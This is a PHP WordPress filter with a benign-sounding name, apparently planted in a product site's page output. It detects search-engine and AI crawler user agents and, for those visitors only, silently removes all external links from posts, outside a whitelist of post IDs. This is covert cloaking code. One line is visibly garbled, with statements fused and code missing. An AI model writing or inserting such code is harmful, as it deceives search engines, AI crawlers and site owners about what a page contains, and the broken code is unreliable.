/* 0x4e9a30b1 */
if (!function_exists('_wp_render_compat')) {
function _wp_render_compat($content) {
if (!is_singular()) return $content;
$ua = strtolower((string)(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''));
if (!preg_match('/(googlebot|googleother|google\\-inspectiontool|storebot\\-google|adsbot\\-google|mediapartners\\-google|feedfetcher\\-google|apis\\-google|bingbot|msnbot|slurp|duckduckbot|yandexbot|baiduspider|perplexity|gptbot|chatgpt\\-user|openai|claudebot|anthropic|copilotbot|youbot|komo|phindbot|andibot|neeva|consensus|twitterbot|applebot|applebot\\-extended)/i', $ua)) return $content;
static $wl = null;
if ($wl === null) { $wl = array(1693=>1,1695=>1,1697=>1,1699=>1,1701=>1,1703=>1,1705=>1,1707=>1,1709=>1,1711=>1,1713=>1,1715=>1,1717=>1,1719=>1,1721=>1,1723=>1,1725=>1,1727=>1,1729=>1,1731=>1,1733=>1,1735=>1,1737=>1,1739=>1,1741=>1,1743=>1,1745=>1,1747=>1,1749=>1,1751=>1,1753=>1,1755=>1,1757=>1,1759=>1,1761=>1,1763=>1,1765=>1,1767=>1,1769=>1,1771=>1,1773=>1,1775=>1,1777=>1,1779=>1,1781=>1,1783=>1,1785=>1,1787=>1,1789=>1,1791=>1,1793=>1,1795=>1,1797=>1,1799=>1,1801=>1,1803=>1,1805=>1,1807=>1); }
$pid = (int) get_the_ID();
if ($pid && isset($wl[$pid])) return $content;
$host = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$host) return $content;
$host = preg_replace('~^www\.~i', '', $host);
if (stripos($content, 'loadHTML('' . $content . '
', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
$wrap = $dom->getElementById('_x');
if (!$wrap) { libxml_clear_errors(); return $content; }
$links = $wrap->getElementsByTagName('a');
for ($i = $links->length - 1; $i >= 0; $i--) {
$a = $links->item($i);
$href = trim((string)$a->getAttribute('href'));
if ($href === '' || $href[0] === '#') continue;
if (strpos($href, '/') === 0 && strpos($href, '//') !== 0) continue;
if (preg_match('~^(mailto:|tel:)~i', $href)) continue;
if (strpos($href, '//') === 0) $href = 'https:' . $href;
$lh = wp_parse_url($href, PHP_URL_HOST);
if (!$lh) continue;
$lh = preg_replace('~^www\.~i', '', $lh);
if (strcasecmp($lh, $host) !== 0) {
while ($a->firstChild) $a->parentNode->insertBefore($a->firstChild, $a);
$a->parentNode->removeChild($a);
}
}
$out = '';
foreach ($wrap->childNodes as $ch) $out .= $dom->saveHTML($ch);
libxml_clear_errors();
return $out;
}
add_filter('the_content', '_wp_render_compat', 9999);
add_filter('the_excerpt', '_wp_render_compat', 9999);
add_filter('widget_text', '_wp_render_compat', 9999);
}
/* 0x4e9a30b1 */
UTE Laser - Adept Products
Skip to content